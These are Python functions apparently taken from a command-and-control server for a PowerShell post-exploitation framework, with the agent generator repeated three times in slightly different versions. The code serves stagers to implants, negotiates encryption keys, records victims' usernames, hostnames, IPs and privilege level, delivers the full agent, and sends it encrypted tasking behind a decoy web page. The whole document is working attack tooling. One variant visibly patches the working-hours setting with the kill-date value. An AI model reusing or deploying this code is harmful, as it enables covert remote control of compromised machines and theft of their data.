def generate_agent(self, delay, jitter, profile, killDate, workingHours, lostLimit): """ Generate "standard API" functionality, i.e. the actual agent.ps1 that runs. This should always be sent over encrypted comms. """ f = open(self.installPath + "./data/agent/agent.ps1".replace('/', os.sep)) code = f.read() f.close() # strip out comments and blank lines code = helpers.strip_powershell_comments(code) b64DefaultPage = base64.b64encode(http.default_page()) # patch in the delay, jitter, lost limit, and comms profile code = code.replace('$AgentDelay = 60', "$AgentDelay = " + str(delay)) code = code.replace('$AgentJitter = 0', "$AgentJitter = " + str(jitter)) code = code.replace('$Profile = "/admin/get.php,/news.asp,/login/process.jsp|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko"', "$Profile = \"" + str(profile) + "\"") code = code.replace('$LostLimit = 60', "$LostLimit = " + str(lostLimit)) code = code.replace('$DefaultPage = ""', '$DefaultPage = "'+b64DefaultPage+'"') # patch in the killDate and workingHours if they're specified if killDate != "": code = code.replace('$KillDate,', "$KillDate = '" + str(killDate) + "',") if workingHours != "": code = code.replace('$WorkingHours,', "$WorkingHours = '" + str(workingHours) + "',") return code
def generate_agent(self, delay, jitter, profile, killDate, workingHours, lostLimit): """ Generate "standard API" functionality, i.e. the actual agent.ps1 that runs. This should always be sent over encrypted comms. """ f = open(self.installPath + "./data/agent/agent.ps1") code = f.read() f.close() # strip out comments and blank lines code = helpers.strip_powershell_comments(code) b64DefaultPage = base64.b64encode(http.default_page()) # patch in the delay, jitter, lost limit, and comms profile code = code.replace('$AgentDelay = 60', "$AgentDelay = " + str(delay)) code = code.replace('$AgentJitter = 0', "$AgentJitter = " + str(jitter)) code = code.replace('$Profile = "/admin/get.php,/news.asp,/login/process.jsp|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko"', "$Profile = \"" + str(profile) + "\"") code = code.replace('$LostLimit = 60', "$LostLimit = " + str(lostLimit)) code = code.replace('$DefaultPage = ""', '$DefaultPage = "'+b64DefaultPage+'"') # patch in the killDate and workingHours if they're specified if killDate != "": code = code.replace('$KillDate,', "$KillDate = '" + str(killDate) + "',") if workingHours != "": code = code.replace('$WorkingHours,', "$WorkingHours = '" + str(workingHours) + "',") return code
def generate_agent(self, delay, jitter, profile, killDate, workingHours, lostLimit): """ Generate "standard API" functionality, i.e. the actual agent.py that runs. This should always be sent over encrypted comms. """ f = open(self.installPath + "./data/agent/agent.py") code = f.read() f.close() # strip out comments and blank lines code = helpers.strip_python_comments(code) b64DefaultPage = base64.b64encode(http.default_page()) # patch in the delay, jitter, lost limit, and comms profile code = code.replace('delay = 60', 'delay = %s' % (delay)) code = code.replace('jitter = 0.0', 'jitter = %s' % (jitter)) code = code.replace('profile = "/admin/get.php,/news.asp,/login/process.jsp|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko"', 'profile = "%s"' % (profile)) code = code.replace('lostLimit = 60', 'lostLimit = %s' % (lostLimit)) code = code.replace('defaultPage = base64.b64decode("")', 'defaultPage = base64.b64decode("%s")' % (b64DefaultPage)) # patch in the killDate and workingHours if they're specified if killDate != "": code = code.replace('killDate = ""', 'killDate = "%s"' % (killDate)) if workingHours != "": code = code.replace('workingHours = ""', 'workingHours = "%s"' % (killDate)) return code
def process_post(self, port, clientIP, sessionID, resource, postData): """ Process a POST request. """ # check to make sure this IP is allowed if not self.is_ip_allowed(clientIP): dispatcher.send("[!] "+str(resource)+" requested by "+str(clientIP)+" on the blacklist/not on the whitelist.", sender="Agents") return (200, http.default_page()) # check if requested resource in is session URIs for any agent profiles in the database if (self.is_uri_present(resource)): # if the sessionID doesn't exist in the database if not self.is_agent_present(sessionID): # alert everyone to an irregularity dispatcher.send("[!] Agent "+str(sessionID)+" posted results but isn't in the database!", sender="Agents") return (404, "") # if the ID is currently in the database, process the results else: # extract the agent's session key sessionKey = self.agents[sessionID][0] try: # verify, decrypt and depad the packet packet = encryption.aes_decrypt_and_verify(sessionKey, postData) # update the client's last seen time self.update_agent_lastseen(sessionID) # process the packet and extract necessary data # [(responseName, counter, length, data), ...] responsePackets = packets.parse_result_packets(packet) counter = responsePackets[-1][1] # validate the counter in the packet in the setcode.replace if counter and packets.validate_counter(counter): for responsePacket in responsePackets: (responseName, counter, length, data) = responsePacket # process the agent's response self.handle_agent_response(sessionID, responseName, data) # signal that this agent returned results name = self.get_agent_name(sessionID) dispatcher.send("[*] Agent "+str(name)+" returned results.", sender="Agents") # return a 200/valid return (200, "") else: dispatcher.send("[!] Invalid counter value from "+str(sessionID), sender="Agents") return (404, "") except Exception as e: dispatcher.send("[!] Error processing result packet from "+str(sessionID), sender="Agents") return (404, "") # step 3 of negotiation -> client posts public key elif resource.lstrip("/").split("?")[0] == self.stage1: if self.args and self.args.debug: dispatcher.send("[*] Agent "+str(sessionID)+" from "+str(clientIP)+" posted to public key URI", sender="Agents") # get the staging key for the given listener, keyed by port # results: host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,lost_limit stagingKey = self.listeners.get_staging_information(port=port)[3] # decrypt the agent's public key message = encryption.aes_decrypt(stagingKey, postData) # strip non-printable characters message = ''.join(filter(lambda x:x in string.printable, message)) # client posts RSA key if (len(message) < 400) or (not message.endswith("</RSAKeyValue>")): dispatcher.send("[!] Invalid key post format from "+str(sessionID), sender="Agents") else: # convert the RSA key from the stupid PowerShell export format rsaKey = encryption.rsa_xml_to_key(message) if(rsaKey): if self.args and self.args.debug: dispatcher.send("[*] Agent "+str(sessionID)+" from "+str(clientIP)+" posted valid RSA key", sender="Agents") # get the epoch time to send to the client epoch = packets.get_counter() # get the staging key for the given listener, keyed by port # results: host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,listener_type,redirect_target,default_lost_limit config = self.listeners.get_staging_information(port=port) delay = config[4] jitter = config[5] profile = config[6] killDate = config[7] workingHours = config[8] lostLimit = config[11] # add the agent to the database now that it's "checked in" self.add_agent(sessionID, clientIP, delay, jitter, profile, killDate, workingHours,lostLimit) # step 4 of negotiation -> return epoch+aes_session_key clientSessionKey = self.get_agent_session_key(sessionID) data = str(epoch)+clientSessionKey data = data.encode('ascii','ignore') encryptedMsg = encryption.rsa_encrypt(rsaKey, data) # return a 200/valid and encrypted stage to the agent return (200, encryptedMsg) else: dispatcher.send("[!] Agent "+str(sessionID)+" returned an invalid public key!", sender="Agents") return (404, "") # step 5 of negotiation -> client posts sysinfo and requests agent elif resource.lstrip("/").split("?")[0] == self.stage2: if self.is_agent_present(sessionID): # if this is a hop.php relay if "?" in resource: parts = resource.split("?") if len(parts) == 2: decoded = helpers.decode_base64(parts[1]) # get the staging key for the given listener, keyed by port # results: host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,lost_limit config = self.listeners.get_staging_information(host=decoded) else: config = self.listeners.get_staging_information(port=port) delay = config[4] jitter = config[5] profile = config[6] killDate = config[7] workingHours = config[8] lostLimit = config[11] # get the session key for the agent sessionKey = self.agents[sessionID][0] try: # decrypt and parse the agent's sysinfo checkin data = encryption.aes_decrypt(sessionKey, postData) parts = data.split("|") if len(parts) < 10: dispatcher.send("[!] Agent "+str(sessionID)+" posted invalid sysinfo checkin format", sender="Agents") # remove the agent from the cache/database self.remove_agent(sessionID) return (404, "") listener = parts[0].encode('ascii','ignore') domainname = parts[1].encode('ascii','ignore') username = parts[2].encode('ascii','ignore') hostname = parts[3].encode('ascii','ignore') external_ip = clientIP.encode('ascii','ignore') internal_ip = parts[4].encode('ascii','ignore') os_details = parts[5].encode('ascii','ignore') high_integrity = parts[6].encode('ascii','ignore') process_name = parts[7].encode('ascii','ignore') process_id = parts[8].encode('ascii','ignore') ps_version = parts[9].encode('ascii','ignore') if high_integrity == "True": high_integrity = 1 else: high_integrity = 0 except: # remove the agent from the cache/database self.remove_agent(sessionID) return (404, "") # let everyone know an agent got stage2 if self.args and self.args.debug: dispatcher.send("[*] Sending agent (stage 2) to "+str(sessionID)+" at "+clientIP, sender="Agents") # step 6 of negotiation -> server sends patched agent.ps1 agentCode = self.stagers.generate_agent(delay, jitter, profile, killDate,workingHours,lostLimit) username = str(domainname)+"\\"+str(username) # update the agent with this new information self.update_agent_sysinfo(sessionID, listener=listener, internal_ip=internal_ip, username=username, hostname=hostname, os_details=os_details, high_integrity=high_integrity, process_name=process_name, process_id=process_id, ps_version=ps_version) # encrypt the agent and send it back encryptedAgent = encryption.aes_encrypt(sessionKey, agentCode) # signal everyone that this agent is now active dispatcher.send("[+] Initial agent "+str(sessionID)+" from "+str(clientIP) + " now active", sender="Agents") output = "[+] Agent " + str(sessionID) + " now active:\n" # set basic initial information to display for the agent agent = self.mainMenu.agents.get_agent(sessionID) keys = ["ID", "sessionID", "listener", "name", "delay", "jitter","external_ip", "internal_ip", "username", "high_integrity", "process_name", "process_id", "hostname", "os_details", "session_key", "checkin_time", "lastseen_time", "parent", "children", "servers", "uris", "old_uris", "user_agent", "headers", "functions", "kill_date", "working_hours", "ps_version", "lost_limit"] agentInfo = dict(zip(keys, agent)) for key in agentInfo: if key != "functions": output += " %s\t%s\n" % ('{0: <16}'.format(key), messages.wrap_string(agentInfo[key], width=70)) # save the initial sysinfo information in the agent log self.save_agent_log(sessionID, output + "\n") return(200, encryptedAgent) else: dispatcher.send("[!] Agent "+str(sessionID)+" posted sysinfo without initial checkin", sender="Agents") return (404, "") # default behavior, 404 else: return (404, "")
def process_get(self, port, clientIP, sessionID, resource): """ Process a GET request. """ # check to make sure this IP is allowed if not self.is_ip_allowed(clientIP): dispatcher.send("[!] "+str(resource)+" requested by "+str(clientIP)+" on the blacklist/not on the whitelist.", sender="Agents") return (200, http.default_page()) # see if the requested resource is in our valid task URI list if (self.is_uri_present(resource)): # if no session ID was supplied if not sessionID or sessionID == "": dispatcher.send("[!] "+str(resource)+" requested by "+str(clientIP)+" with no session ID.", sender="Agents") # return a 404 error code and no resource return (404, "") # if the sessionID doesn't exist in the cache # TODO: put this code before the URI present? ... if not self.is_agent_present(sessionID): dispatcher.send("[!] "+str(resource)+" requested by "+str(clientIP)+" with invalid session ID.", sender="Agents") return (404, "") # if the ID is currently in the cache, see if there's tasking for the agent else: # update the client's last seen time self.update_agent_lastseen(sessionID) # retrieve all agent taskings from the cache taskings = self.get_agent_tasks(sessionID) if taskings and taskings != []: allTaskPackets = "" # build tasking packets for everything we have for tasking in taskings: taskName, taskData = tasking # if there is tasking, build a tasking packet taskPacket = packets.build_task_packet(taskName, taskData) allTaskPackets += taskPacket # get the session key for the agent sessionKey = self.agents[sessionID][0] # encrypt the tasking packets with the agent's session key encryptedData = encryption.aes_encrypt_then_mac(sessionKey, allTaskPackets) return (200, encryptedData) # if no tasking for the agent else: # just return the default page return (200, http.default_page()) # step 1 of negotiation -> client requests stage1 (stager.ps1) elif resource.lstrip("/").split("?")[0] == self.stage0: # return 200/valid and the initial stage code if self.args and self.args.debug: dispatcher.send("[*] Sending stager (stage 1) to "+str(clientIP), sender="Agents") # get the staging information for the given listener, keyed by port # results: host,port,cert_path,staging_key,default_delay,default_jitter,default_profile,kill_date,working_hours,istener_type,redirect_target,lost_limit config = self.listeners.get_staging_information(port=port) host = config[0] stagingkey = config[3] profile = config[6] stage = None # if we have a pivot or hop listener, use that config information instead for the stager if "?" in resource: parts = resource.split("?") if len(parts) == 2: decoded = helpers.decode_base64(parts[1]) # http://server:port for a pivot listener if decoded.count("/") == 2: host = decoded else: # otherwise we have a http://server:port/hop.php listener stage = self.stagers.generate_stager_hop(decoded, stagingkey, profile) if not stage: # generate the stage with appropriately patched information stage = self.stagers.generate_stager(host, stagingkey) # step 2 of negotiation -> return stager.ps1 (stage 1) return (200, stage) # default response else: # otherwise return the default page return (200, http.default_page())